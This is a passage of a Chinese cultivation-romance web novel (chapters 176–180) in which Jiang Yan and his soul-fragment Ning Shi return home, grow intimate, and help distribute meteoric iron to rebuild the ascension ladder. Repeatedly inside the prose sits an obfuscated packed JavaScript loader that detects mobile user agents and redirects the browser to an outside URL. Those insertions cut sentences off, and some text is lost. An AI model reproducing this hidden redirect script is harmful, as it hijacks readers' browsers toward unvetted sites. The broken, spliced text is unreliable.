子和不少花花草草,在前面的屋檐下,甚至还有一个小小的池塘,粼粼水波上浮着青绿的荷叶。 江晏用胳膊肘抵了下宁时,道:“进去吧。” 他们跨过木制的门槛,细微的扬尘在日光中缓慢浮动。 这是时隔数百年之后,剑修带着剑修的另一个魂魄,组成了完整的神魂,再次回到了自己的故乡。 照夜居中,有风,有虫鸣,有水声咕噜。 宁时站在院中央,望着眼前的房门,轻声说:“原来这些年里,你的住处是这样的啊。” 这句话本应该是煽情的,但江晏自然而然地想到了什么,语调微微上扬:“唔,这确实是你第一次见照夜居。” 宁时尚未反应过来剑修的意图,便只是点点头,道:“是啊,从前居然错过了那么多你的往事。” 听了这句,江晏算是彻底憋不住了,错过身来,一把按在对方的肩头,将人压在了竹竿上,挑眉:“别谦虚了。” 宁时:? 他看起来不是不懂剑修在说什么,而是完全被这突如其来的肢体接触冲昏了头脑。 他耳朵微微红着,眼睛亮晶晶地望着剑修,似乎很期待发生点什么的样子。 江晏:…… 他放弃拐弯抹角了,一面装着看不懂分魂的表情,一面直言道:“我是说,你并没有错过我的很多往事。” 宁时看起来有些疑惑:“是吗。” 江晏挑眉,只说了一句话:“还记得见行符吗?” 说罢,就欣赏着分魂的脸色红上加红,片刻后,才慢吞吞道:“你只是错过了我成为峰主的那些年。” “我当年刚入合江宗时,你可没少把见行符贴在我身上。” “甚至我在执事的位置上时,你也能时不时看到我这边的情况。” 江晏笑眯眯地:“可见宁时哥哥你是干习惯这些坏事了,竟是自己完全忘了。” 宁时被他压着,又听了这些话,也是渐渐笑了。 他微微用力直起身子,轻而易举地挣脱了剑修看似强硬的禁锢,又带着人顺势一扭,瞬间竟是将二人的位置颠倒了。 这次换成剑修被分魂压在照夜居的竹林中了。 背后是微凉的竹皮,头顶是高远的天,面前又是分魂的一张脸。 自然而然地,江晏就伸出手来摸了上了分魂的脸。 在手掌贴到宁时的那一刻,宁时低头,又歪了歪脑袋,将自己的一张脸妥帖地安放在剑修的手心中。 江晏看着他,看着他背后的照夜居,轻声说: “无事,以后照夜居里也让你光明正大地看个够。” 宁时“嗯”了一声,又道:“说起来,照夜居里的小池塘也能沐浴吗?” 江晏毫不设防地回答:“当然可以——!” 话头陡然截断,对上分魂含笑的眼,剑修才知道对方意有所指: 这人分明暗指当年用见行符窥见作为外门弟子的自己在沐浴的事情! 江晏咬咬牙,欲收回托着宁时侧脸的手——应该给这不正经的一拳才对! 但他的手才微动,就被一只微凉的手更加有力地握住了。 他动弹不得,面上却有股微凉的气息在逼紧。 江晏退无可退,后脑紧贴着竹竿,他相信自己的束发在这番磨蹭中应该是散落了一些。 但不容他再想太多了。 这股微凉的气息扑在了他的脸颊上,然后有什么柔软的东西轻轻贴住了他的双唇。 同一个魂魄的两瓣碎片交换了一个吻。 176. 结发 片刻后,江晏和宁时都微红着脸,进入了照夜居的堂屋内。 江晏深吸了一口气,按捺下自己比平时略显急促的心跳,清了清嗓子,开口:“嗯,照夜居里面就是这样了。” 他并不知道自己此时的模样。 因为刚才分魂的动作,他现在两颊看起来比平时更加有血色,眼中也好像汪着水。 更不用说原本还是整整齐齐束起来的黑发,已经有几缕散落,蜷曲在他的颈侧,愈发衬得脖颈雪白。 于是宁时只是盯着他,一时间甚至听不清剑修刚刚说了什么了。 江晏见分魂两眼发直,就很有耐心地再次重复了一遍刚才的话。 宁时才堪堪回过神,他从剑修脸上匆忙别过眼,眼神飘忽片刻,最终还是落在了剑修身上。 又轻咳一声,道:“你的头发都散了。” 江晏听了,抬手摸摸后脑,果然触摸到了一些毛躁。 他还未来得及说什么,宁时又道:“照夜居里应该有镜子吧,我照着镜子给你梳一下好了。” 江晏便点点头,带着分魂走进内室。 修亭峰上的日光透过窗子洒进来,宁时便能很清楚地看到屋内的布局。 一张床,一条软塌,一张桌子。 有书柜自然而然地把屋子分割出了两个空间,另一侧就是书案了。 有半卷翻开的书依旧摊在桌上,修真界十年间的风吹过书页,却没有留下任何痕迹。 就像是在屋子主人不在的时,这里的时间就凝固下来。 宁时看着,向前迈出了一步: 这是普通的一间房屋,没有什么华贵的装饰。 但处处都是江晏的痕迹。 如今他同剑修本人一起站在这里,便从心中升起了一种难以言喻的满足。 宁时望着房中,看着床边的银镜,对江晏道:“你平时就是在那里梳头发吗?” 江晏道:“不是。” 宁时:? 江晏有些无奈了:“我们可是修士欸。” “平时梳头发这种小事,随便掐一个法术不就好了吗?” “何必还要专门去亲自做……” 在宁时愈发一言难尽的目光中,江晏渐渐消了声——他后知后觉地意识到,自己刚刚这番话,相当于在说宁时准备动手给自己束发这件事,没必要。 从效率的角度讲,确实没必要,毕竟这只是剑修和符修随手一施法的小事。 但是若从另一个角度…… 江晏心思微微动了,他想,自己应该是明白了宁时的意图: 束发只是个借口,宁时分明只是想同自己亲近。 意识到这一点后,剑修一颗刚刚平复了的心脏,又开始急促跳动了。 他想,宁时曾经替自己受了这么多苦,又经历了几百年的光阴两人才得以再次相见,现在假装不知道对方的小心思,顺着分魂的意思惯一惯,又能怎么样呢? 江晏就回握住了宁时的手,又拉着人站到镜子前,道:“嗯,虽然我平时不怎么对着它束发,但是。” 他坐在了椅子上,通过银镜看着自己的脸,看着身后宁时的脸,补充上了后半句话,“如果你想给我梳头发,我自然是很乐意的。” 说罢,从抽屉中的暗格取出一把绿檀梳子,递给宁时。 宁时轻轻“嗯”了一声后,取过梳子夹在指尖,接着在剑修头上动了动。 江晏只觉得在一阵轻微的凉意过后,头顶略感松快,他知道,这是宁时取下了他的发冠。 江晏望着自己的影像。 他现在三千青丝披散而下,缕缕墨色如同蜿蜒的黑蛇,盘踞他在肩头和颈侧。 与此同时,真的有什么如同蛇一样的东西,东西从后面抱住了他,紧紧缠绕在他的胸口和后心。 那是宁时。 江晏抬了下眼,就望进了镜中宁的一双瞳仁中。 宁时在就他身后,不知何时伸出了双臂搂着他,这样还犹不满足,又将自己的下巴尖尖抵在了剑修的颈窝中。 他们的心跳就连在了一起。 就像此时他们之间纠缠的长发一样。 江晏的心口发胀,他透过银镜看着宁时。 这个世界的宁时,不喜束发,平日里,这位身份神秘又尊贵的胜意门门主,都是将一头乌发披散着的。 而常常束冠的剑修此时也散着长发。 他们两张脸贴在一起,猛一眼瞧过去,竟是有几分不分彼此的意味。 江晏就轻轻将指尖抵在镜中宁时的一张脸上,道:“这么看来,我们有点像呢。” 画落,他身上微微松快了一些,是宁时伸出原本抱住他的左臂,用左手也在镜上描摹。 符修摸着镜中剑修的脸,道:“怎么会像,我这个身体又不是原装的。” 江晏摇摇头:“这身体上原来的魂魄已经离开,只留你来控制。” “在神魂的影响之下,身体的外貌会逐渐往神魂原本的外貌靠拢。” 听到这儿,宁时来了精神。 他在镜上的左手不安分了,故意动着去够剑修的手指。 江晏没有躲开,也没有阻止,只是顺着刚才的话说着:“但这个变化是很漫长的。” “若真的能看到你我相貌一样的一天,怕是要与天地同寿了。” 宁时:…… 高兴早了。 他便有些怏怏了,用左手包住剑修的手指,有一搭没一搭地捋着。 江晏:…… 他对分魂突然幼稚的行为不想做任何评价。 宁时如此玩了他的手指片刻后,终于想到了二人坐在镜前,是原本要做什么: 他本来是要把剑修弄乱的头发梳起来的。 宁时便从镜面上收回了自己的手,放在剑修头顶上顺着长发捋下去,另一只手则是拿起梳子,从上到下慢慢梳着。 木制的梳齿和符修微凉的指尖划过头皮,带着一丝轻微的痒意。 却是又很舒服,江晏坐在原地,微微眯起了眼——宁时的动作比他想象中要轻柔,梳头的动作甚至可以说得上是熟练。 江晏自然而然地叹道:“你平时头发都是散着的,没想到手法这么流畅。” 宁时在他身后,拿起另一缕头发慢慢梳着,口中一边说:“没怎么给自己梳过,但是会研究一下发型。” 这回答倒是在江晏的意料之外,他生出几分好奇,“哦”了一声。 宁时就解释:“回溯时你也看到了,我有很多的假脸皮。” “脸皮毕竟是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江晏看不清分魂手上的动作,只感觉自己脸侧的一缕头发,被对方的动作带动,一下下扫在脸上和颈侧,有些痒。 这种痒甚至一直透到了他的心上。 江晏深吸了一口气,闭上双眼,在难以遏制的心火中,等待宁时动作结束。 时间并没有过去多久,他便感到眼前似乎有光芒闪过,接着是宁时的声音从身侧传来:“好了。” 江晏就睁眼看去。 只见镜中依旧是散发的他和散发的宁时,和刚才不同的是,两个人现在挨得却更近了。 原因无他——剑修和符修脸侧的各一缕黑发,都被一条红绳捆在一起了。 受此限制,二人便紧紧贴在一起。 分魂的呼吸洒在江晏耳边,剑修就从镜中垂下眼,去看身侧的分魂,和他们的被束在一起的长发。 他们的头发是同样的漆黑,此刻混在一起,更是难以分清彼此了。 就像他们的神魂在经历了漫长的分别后,再也不会分开了。 江晏轻轻呼出一口气,顺着现在二人的姿势,慢慢靠在了宁时身上。 177. 在翌日清晨发出的某些评价 翌日,天光大盛。 江晏躺在照夜居的大床上,缓缓睁开了双眼。 头顶所悬挂的,终于恢复了他所熟悉的白色轻纱。 ——他确确实实是在照夜居了。 ——他确确实实回家了。 江晏用左手撑带着余温的床上,在支起身子,打量着在凌乱床褥间的宁时。 只见这分魂长发披落在身侧,和剑修自己在昨天原本梳起来却又最终散下的头发叠在一起。 ——他也确确实实把分魂带回来了。 甚至不仅仅是把人带回了原世界,更是把人放在了自己身边。 这是从前剑修完全没有料到的事情。 江晏就按了按额角,在刚刚苏醒的轻微晕眩中,有些想笑了。 他探出身子,去捏宁时的鼻子。 果然不消片刻,他的分魂就在轻微的呼吸不畅中苏醒过来,眯着一双眼睛望着他。 江晏就松开的手,道:“你怎么睡的这么香。” 宁时眨眨眼,看起来困意未消,哑着嗓子说:“嗯,你的床很舒服啊。” 江晏:“哪有,平时我天天睡也不会睡这么久的。” 宁时听了,也没有再同他议论“江峰主的床到底舒不舒服”这个问题,而是舒展了胳膊,一把将原本已经坐在床上的江晏搂住,带着人倒了下去。 于是江晏就栽回了床上。 还栽到了宁时身边。 宁时毕竟刚醒,衣服也没有穿整齐,剑修现在这个姿势,就贴到了对方露在衣襟外的大半胸膛上。 更不必说宁时的手臂同时还在他颈后垫着。 江晏:…… 他无可避免地闻到了对方身上的香气,那原本是木质焚香的气味,可在照夜居里待了一夜后,又有竹香萦绕了。 于是回到照夜居的种种一瞬间齐齐涌上剑修心头。 江晏用力闭了下眼,定定神后才开口:“不起床吗。” 宁时把他往自己的颈侧按了按,又将下巴抵在人的头顶上,蹭了蹭。 此时无声胜有声,仿佛是这符修在回答: 不起。 但江晏发出抗议:“你压到我头发了。” 宁时:……! 他如被踩了尾巴的猫般在床上弹起,又卧在剑修身旁,伸出一根手指轻轻碰了碰对方头发,小声道:“……有没有弄疼你?” 江晏瞧着他这副天塌了般的模样,突然间生出了几分作弄的心思,想了想,先是笑道:“无事,只是压住了,并没有拉扯。” 又将瞧着他面色稍缓,才慢吞吞补充完后半句:“哦,不过说起弄疼,你也不是没做过。” 宁时:?! 符修大惊,一时间眼睛都瞪圆了,同时觑着剑修神色,暗中琢磨着对方这句话的意思: 江晏不会无缘无故说这句话!这必定是意有所指! 只是不知这所指…… 符修皱着眉,想着,剑修到底是指从前两人相杀的那些年,还是指昨晚呢…… 他的思绪渐渐不受控制地飘远了。 江晏又重新坐起来,瞧到他这副呆呆的模样,也猜了个七七八八,便顺势踹了他小腿一下,堪堪让人回过神来。 对着分魂似有千言万语的目光,江晏深吸了一口气,道:“真的,不能再继续躺着了,起来吧。” 又解释道:“陨铁一事,进展比我想象中要快。” “合江宗昨晚已经向各大门派发出了议事重铸天梯的信件,得到了近九成的回信。” “今天便在广华殿内商议具体事宜了。” 这是个正事,宁时也不再玩笑,而是点点头,道:“也好,飞升一事过于牵绊人心。” “若是能及早有解决办法,再好不过了。” “不然,”他冷笑一声,“昨日在观水殿中的混乱,怕不是还要在各个宗门轮番上演呢。” 说罢,左手自然而然地拿起剑修一缕乌发,右手掐了个法诀移来木梳,就要给剑修束发。 江晏任凭他双手在自己头顶翻飞,一面从指尖引出一道灵力覆在屋内的凌乱上。 只见照夜居的窗子隐约亮了几亮,绯色莹莹。 宁时放下木梳,看着面前剑修的头顶,和他尚带荧光的指尖,道:“头发好了——你这是在?” 江晏收回灵力,平静道:“只是用灵力收拾了一下屋子罢了。” 宁时看起来却有些诡异地崩溃了,他对江晏喃喃道:“这样吗,我真是没用。” 江晏:? 宁时的声音仿佛因遭受了巨大的打击而显得有气无力:“这和我想的不一样……” “先是我自己起得比爱人晚,”他目光在已经变得整整齐齐、好像什么都没有发生过的照夜居里转了一圈,继而忿忿道,“甚至就连收拾也不是我做的!” 江晏并不理解他的逻辑,但这也不妨碍他试图安慰的话说出口:“嗯……这只是一个谁先醒的问题。” 宁时:“……” 江晏又道:“收拾也没什么,不过是用灵力罢了。” 宁时:“……” 他沉默半晌,才终于憋出来一句:“可是!话本里才不是这样的!” 这次换成江晏无言了——他好像搞明白了宁时今早不正常的原因。 于是剑修哭笑不得,一句话就这样不假思索地溜出了口: 他说:“时哥,你是不是怕我觉得你虚。” 宁时:? 江晏就很贴心地给他找着借口,继续说下去: “其实你醒得晚也是正常的啊。” “你的身体本来温度就更低,再加上你昏迷的时间比我长了一点……” 他话还没有说完,宁时就羞恼地打断道:“停,停,我的身体没有问题的。” 江晏:“噢。” 他想了想,又道:“可是,我听说你当年还是吐血了的……” 宁时扶额:“现在已经好了。” 江晏就点点头,但依旧是略带忧心忡忡地看着他。 宁时:…… 他受不了了。 他一把拉过剑修,附在人耳边轻声道:“不行我再给你证明一下?” 江晏:! 他好像明白了什么,默默摆了摆手后,又怕意思表达地不明确,开口补充: “不必了,谢谢,你很健康。” 宁时就弯了眼,嘴角勾起一个笑。 二人如此在照夜居内黏糊了一阵后,终于是收拾妥当,来到了广华殿中。 和从前的那场盛会一样,此时的广华殿中,也是聚集了各个宗门不同职务的修士。 江晏一眼扫过去,已经见到了不少熟面孔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276162|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他对着这些脸庞微微颔首,打过招呼之后,便拉着宁时,在白一苇给二人预留出来的席位中落座。 他来的时间并不算早,因此没过多久,就听到大殿之上,白一苇清了清嗓子,发话: “诸位,我们的会面正式开始了。” 一瞬间,刚才还窃窃私语、热络聊天的修士们,彻底安静下来,俱是正襟危坐,将目光聚在这位合江宗的掌门身上。 广华殿中,白一苇的声音传遍了任何一个角落: “相信诸位今日聚集于此,都是为了重建飞升天梯之事。” “从前,修真界苦于飞升久矣。” 说到此处,白一苇轻微地停顿了,再次开口时,声音中带了几丝意味不明的情绪: “想来有消息灵通的道友,已经知晓某些修士,为了飞升,做出了什么荒唐事。” 说罢,目光在几个门派上转了一圈,最后又定在了江晏身上。 江晏听到他这位师兄说:“但是,飞升的转机出现了。” 广华殿中不少人听着掌门的话头,又顺着他的目光,自然而然地就将视线移到了剑修身上。 白一苇似乎也发现了殿内修士注意力的转移,一时间,陈词的语气更加慷慨激昂了。 他说:“那就是,我们修真界出现了大量的陨铁,这正是修筑天梯难得的原料。” 即便是各宗门在来到合江宗之前,已经在密信中知晓了这个消息,但此时再从白一苇口中得到了证实,众修士那隐约带着一丝怀疑的不确定,也彻底消失了—— 毕竟,合江宗的掌门怎么会骗人呢? 白一苇不疾不徐,娓娓道来:“说到这些陨铁,便不得不提起一个人,那就是我的师弟。” “合江宗修亭峰峰主,江晏。” 说罢,端坐在殿上,用带笑的眼睛看着剑修。 此时随着他的目光,有越来越多的修士朝着剑修的方向看去。 这势头只增不减,最后竟是殿内几乎所有人的目光,都聚集在剑修和他身边的符修身上了。 江晏:…… 虽然已经预想到了这个万众瞩目的场面,但突然之间被这么几千道热切的目光注视,他还是沉默了片刻。 最后,只得以茶代酒,举杯向四周环绕一圈示意,接着一饮而尽。 白一苇像是已经预料到了自己师弟这副不善言辞的样子,便笑眯眯地继续说下去: “众所周知,我师弟闭关了十年,近日才刚刚突破成功。” “而那陨铁,便是师弟在这十年当中,以神魂入幻境所取来的。” 听了这番话后,修士们却忍不住窃窃私语了: 原因无他——毕竟从来没有人见过能用神魂把实物从幻境中带出来的。 在这片疑惑中,合江宗却没有丝毫解释的意思: 用摆在面前的事实证明,终归是要比言语更有说服力的。 白一苇便轻轻抬手。 广华殿中似乎闪过的一道光。 众修士看去,只见源源不断的陨铁从他手中的一枚空间法器中涌出,流光溢彩的黑色迅速覆盖了他面前的一张桌子。 可这还不够,这些陨铁正以一种均匀的速度和不可阻挡的势头,满溢到广华殿地面的红毯上。 以及站在殿中靠前位置的修士脚下。 178. 筹划 面对如此丰厚的陨铁,广华殿中沸腾了,修士们议论纷纷: “这是真的吗?” “当然是真的了,”他身旁的修士伸长的胳膊指着地上的陨铁,“你看这些颜色,只有陨铁才会有这般流光溢彩。” 他刚刚说话的同伴却是苦笑着扶额,微微摇了摇头,无奈道:“我不是是说这些陨铁是假的。” “我是在感慨,这场景居然是真的。” “似乎是做梦一般。” 这样的议论不是少数,类似的赞叹声在广华殿中此起彼伏地响起。 江晏坐在殿上,借着矮几的遮挡和广袖的掩盖,同宁时双手相握。 二人面上却是不显,正襟危坐,一同望着殿中众人。 看他们脸上狂喜,手舞足蹈。 这群修士如此欢快了片刻后,白一苇见他们最初激动的心情已渐渐平复,便清了清嗓子,再次开口:“诸位的心情我都能理解,不过还是请大家稍安勿躁。” 殿内的交谈声渐渐小了下去,修士们纷纷转头,看向白一苇。 白一苇道:“修补天梯,是事关整个修真界的大事。” 他的目光转向地上那一堆陨铁,继续说着:“所以,这并不仅仅是合江宗的事情。” 众人似乎从他的话中嗅到了什么气息,一种隐约的预感在殿内蔓延。 只听得白一苇气沉丹田,朗声道:“今日各个宗门汇聚于此,便是一个再也恰当不过的时机。” “合江宗决定,正好趁此时,将陨铁分发给各个宗门,供诸位一起共同修筑天梯。” 他话音落地,殿内安静一瞬后,继而爆发出了阵阵猛烈的欢呼! 而在台上,宁时不动声色的靠近了剑修,附在人耳边,小声道: “晏晏,白掌门就这样把东西给出去,不怕人家拿走之后不认账吗?” 江晏闻言,无奈地笑了:“你啊,刚刚一苏醒就遇见那等事,自然会这样想。” 他又握了握宁时的手,解释说:“想来是不会的。” “一来,陨铁此物虽然难得,但用其炼制成武器的效果并不理想,所以它除了如古籍中所说修筑天梯之外,并没有什么其他用途。” 宁时“哦”了一声。 江晏继续道:“而且,师兄选取的场合确实巧妙。” “当着这么多人,这么多门派,若是回去之后撒谎不认账,想要堵住悠悠众口,极为难办。” 这番解释后,宁时眼中闪过了“原来如此”的光芒。 他不再缠着剑修问来问去,亦是同身旁的人一起,抬眼望着殿中—— 白一苇已经开始分发陨铁了。 这位掌门面前是一条有序的长队,队中皆是在场各宗门的掌门或有资历的长老。 他们一一上前,走到白一苇的对面,亮出自己的空间法器,任由合江宗掌门将一摞又一摞的陨铁放入其中。 宁时这样看了一会儿,突然道:“说起来,我要不要上前去领一份?” 江晏:…… 他有些哭笑不得了,抬眼扫了一下周围,见无人注意他们此处后,才凑过头去,和宁时小声说: “你就不用凑这个热闹了。” 宁时:“嗯?” 他看着江晏,下意识地睁圆了眼,同时微微皱眉,做出一副可怜模样,道:“我们江峰主怎么可以厚此薄彼呢?” 江晏:…… 他对着宁时这么一张脸,虽然明明知道对方是故意摆出委屈姿态,但依旧是对此毫无抵抗力,就连声音也不由自主的放软了: “当然有你的份。” 宁时瞬间喜笑颜开,刚才的装模作样的愁眉苦脸便烟消云散了,语气轻快: “哎呀,我就知道晏晏心里有我——说起来,我这份既然不在白掌门那里,那就在江峰主这里了?” 江晏点点头,松开了原本同他拉着的手,将掌心翻转,一枚赤色的手镯便出现在手中。 他伸手往前递了递,对宁时道:“给你的,都在里面了。” 宁时笑着接过,顺势戴在手上,一边说着:“真好,我起初怕你把胜意门的份忘了呢。” 江看着他的手腕,在红镯的映衬下,符修的皮肤愈发显得苍白。 于是这苍白的来源也就自然而然地浮起在剑修的脑海中,提醒着他——眼前的自己已经是死过一次的了。 他喉头动了动,刚想说什么诸如“这些年辛苦你了”之类的话,宁时却扬起脸来,先剑修一步开口: “说起来,我同合江宗关系匪浅——怎么也能称得上是家属吧?” “那你刚刚给我的这些陨铁,是记在合江宗的账上,还是记在江峰主的账上?” 江晏:…… 他刚刚攒起的情绪,就这样轻而易举的被对方几句话冲散了,一时间竟是有些哭笑不得了: “宁门主何时变得如此计较了。” 宁时也就笑了,他手指勾了勾,贴着江晏耳边,道: “从前,我只当你是占了我身体的怪物。” “却不料你本来就是我自己。” “既然如此,那么你现在所用的这具身体是我的。” “你的血肉,骨血都是我的。” “但同时,你的神魂也是我的。” “我的也是你的。” “这般看来,我便对你更加计较了——” “计较你在这个世界里的第一句话是同谁说的。” “计较你有没有追求者。” “自然也计较你刚刚把陨铁给众人的同时有没有给我留。” …… 他话还没有说完,江晏平静的表情却已经隐约开裂了。 剑修怎么也没想到,宁时会这样直白地说出这样一番话。 看起来像是抱怨,但听进耳朵里却似乎都是情话了。 一时间,江晏耳热起来,轻轻在桌下扯了扯宁时的衣袖,小声“嗯”了一下。 他本意是让宁时知晓自己已经明白对方的心意,让这符修赶紧换个话题。 却不料宁时得了他的回应,似乎更加来劲了,继续用传音问他:“晏晏,那你看我呢?” 江晏:…… 他看看宁时,又用目光扫了一圈广华殿中众人,因此再次将目光转回到宁时身上时,就带了几分无奈:“时哥,你是故意的吧。” “故意挑的这个场合,就好像天底下所有的宗门都见证了我们的话?” 宁时就点点头。 江晏早就料到了这个答案,他笑了,同样也是凑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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白一苇就又将目光转到了宁时身上,迟疑着开口:“宁门主……” 他刚开了个头,自己却先笑了,道:“原本叫宁门主也挺顺口的,可如今知道了同江师弟的关系,每次再看到门主这张脸时,感觉颇为奇妙。” “门主居然和师弟是同一个魂魄。” 宁时也就笑了:“白掌门也可称我宁公子。” 白一苇“嗯”了一声,道:“宁公子,我也了解胜意门的情况。” “你们的那些孩子,可能在修为上,”白一苇换了一个相对来说更加含蓄的表达,“唔,还没有到达可以独立出大任务的阶段。” 宁时就点点头:“确实如此——指望他们能修补天梯只能算杯水车薪,不过此事终归是不嫌人多的。” 他停了停,又补充了句:“再说,还有我呢。” 话已至此,白一苇已然明白了他的意思,掌门目光扫过他手腕上新出现的赤色储物手镯,道: “也好,记得带上师弟给你的这些材料,和你的小朋友们,三日后同来获雁山。” 179. 获雁山 江晏同宁时返回到照夜居中,两人同坐于床上,谈论着三日后即将发生的事情。 宁时毕竟和江晏这种系统学习过修真界知识的修士不太一样,他撩了一把散在额前的碎发,随口道: “获雁山?我似乎是听过这个名字。” 江晏便解释:“这是曲洲的一座山,名气不算很大,但颇有些来源。” 宁时被他勾起了兴致,问:“这是有什么故事吗?说起来,为何又要把登仙台建在这里?” 江晏吸了口气:“这就说来话长了。” 他缓缓道:“这座山,相传是整个修真界距离仙界最近的地方。” 宁时听了,眼睛慢慢睁圆了:“既然如此,此山应该非常有名才是——为何我这么多年来一直没有发现它的奥妙?” 江晏:“……因为此事并不想让修真界大多数人知晓。” 他停了停,道:“飞升的人并不多,又是分布在各个宗门中。” “从前这些人生怕被外人知道了,任何一点关于飞升的秘密,因为,许多事情只是在宗门内部流传的。” 江晏抬手指了个方向:“就比如说获雁山的事情,也是我成为合江宗执事后才知晓的。” 宁时“噢”了一声。 江晏继续讲着:“相传在很多年前——这种故事都是整个套路。” “有一名修士,叫刘故,也就是我们知道的见尘上仙,那位据记载第一位飞升的修士。” “他就是这获雁山飞升的。” “他出身商贾之家,原本是人间富贵公子,但却见不得百姓疾苦,常常去接济流民。” “但家里却遭了变故,有人为了侵吞他家的财产,竟栽赃陷害,一时间财产尽数充公,家人也都带上枷锁。” “见尘上仙原本也是下了狱的,但好在从前积善行德,有不少流民听说了他的遭遇,凑那些钱买通了看守,将人带了出来。” “但毕竟力量有限,其他家人还是遭遇了不测。” “作为凡人,见尘上仙突然遭到如此打击,一时间有些接受不了。” “他不愿再呆在这充满了贪婪的尘世之中,同时为了躲避追捕,他转而归隐山林。” “他所去的那座山,正是获雁山。” “当然,那时候的获雁山也还不叫获雁山,它甚至没有名字。” “见尘上仙就自己住在这座无名的山头上,自己种地,自己做饭,然后对着山发呆。” “这山也算不上小,自然也是有其他人的踪迹。” “见尘上仙发现了一处荒置的房屋,看样子是从前有人于此清修。” “但房梁和四壁已经腐朽,房屋从前的主人已经离开了这里。” “见尘上仙一个人住着,毕竟是寂寞的。” “于是他就在这所荒屋里翻了翻,看有没有什么东西能为自己所用。” “这一下子,还真让他翻到了什么。” 宁时听得认真,到了此处,便接话道:“该不会是关于修习的书籍吧。” 江晏点头:“正是。” 又道:“于是见尘上仙就将这些书抱回了家,闲暇时就来翻看。” “也是让他排解了几分人生的苦闷。” “他算是修习的天纵奇才了,从前作为一个从来没有接触过这类知识的凡人,但自从拿到了那几本书后,据住在山上的居民说,这些年里,时不时能看到天雷在山头上劈下。” 宁时琢磨了一下,忍不住道:“他这是在突破渡劫吧。” 江晏“嗯”了一声,又说:“这样的日子过了很久,修习之人的寿命本就比凡人更加长久,于是见尘上仙住在获雁山上的日子里,看着身边的人长大又老去。” “这样的感受并不好过,于是他又开始学习那些册子中所说的炼丹术。” “将炼好的丹药分发给众人,为他们延年益寿。” “直到有一天,见尘上仙在山间行走时,遇见了支游猎的队伍。” “他们纵容马蹄践踏着山间的梯田。” “又拉起弓箭,去射林鹿和飞鸟。” “这番恶劣的行径,让见尘上仙回想起了自己年轻时的往事。” “但和从前不同,此时的见尘上仙,已经有了修为。” “所以他只是大手一挥,就将那支队伍打包丢出了获雁山外,之后继续在山间小径中走着。” “就在这时,他发现前方道路上伏着一只鸟类。” “那鸟类在地上扑腾着,挣扎了很久却不能再次站立,应当是受了伤。” “见尘上仙素来仁厚,见此,便走上前来,要为这鸟类医治。” “这才发现是一只大雁,背上还插着一只短箭,有鲜血从它的伤口涌出,一股接着一股。” “见了这般景象,见尘上仙如何不明白,这分明就是刚才那只游猎队伍所做的事。” “他便用灵力,医治好了这只大雁。” “大雁伤口恢复后,却是在原地站立,对着见尘上仙拜了三拜,接着又口吐人言。” “见尘上仙这才知晓,这并非山间普通的飞禽,而是仙界下凡游历的神鸟。” “神鸟无形,便幻化成凡间大雁的形态,但因下界灵力受限,再加上一时不查,竟是被游猎的队伍射中了身体。” “神鸟原本伏在原地,等待着自己在凡间的身体神力耗尽,却不料遇到了见尘上仙出手相救。” “见尘上仙对神鸟有救命之恩,再加上神鸟见他心质纯良,修习顺达,一时间动了将人带回上界的心思。” “于是神鸟出手点化了见尘上仙便离开了,留他在山中度过了飞升天劫。” “从此,见尘上仙就常为了我们修真界飞升的第一位仙人。” “而承载着他过往经历的那座无名山头,也根据旧事,多了‘获雁山’这么一个文绉绉的名字。” 讲述这个漫长的故事,令江晏有些口干舌燥,他便从从小桌上取来一盏茶,小口小口地喝着来润嗓子。 宁时就在一旁注视着他,仿佛是在看一只正在喝水的小猫。 一盏茶过后,喉咙中的不适终于消失,江晏刚抬起头来,就对上了宁时充满怜爱的目光。 江晏:…… 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江晏顺手摸了一把分魂的头发,看着黑色在自己指尖缠绕又滑落,道:“你说吧,正好我也想听听和我自己的猜测是不是一回事。” 宁时想了想,道:“我感觉比搭天梯更为关键的,是搞清楚为什么这些年来,无人飞升。” 江晏回答:“是天门关闭,至于这关闭的原因……” 宁时接过话头:“虽然广为流传的说法是地质变动,导致天门堵塞,不得开启。” 说罢,自己却是露出一个意味不明的笑:“但依我看来,事情未必会这么简单。” “仙界那么多人,若是碰到什么大事,只怕是各有各的想法。” 江晏已然听明白了:“你是说,这就和仙界有关了?” 宁时呵呵一笑,却不再回答了。 他只是就着躺在江晏腿上的姿势,长臂一伸,将人拽倒在自己身边。 在二人呼吸相闻间,终于是到了三日之后。 到了这前往获雁山的日子。 180. 筑天梯 修真界,曲洲,获雁山上。 只见平时人迹罕至的山头,此时竟密密麻麻的全是人影。 那足有千米见方的登仙台,竟是容纳不了这么多人,故有不少修士未站在台上,而是就着登仙台附近的地势,列队在一旁。 江晏在台上,同宁时并肩而立,他们身后,是合江宗和胜意门的大多数修士。 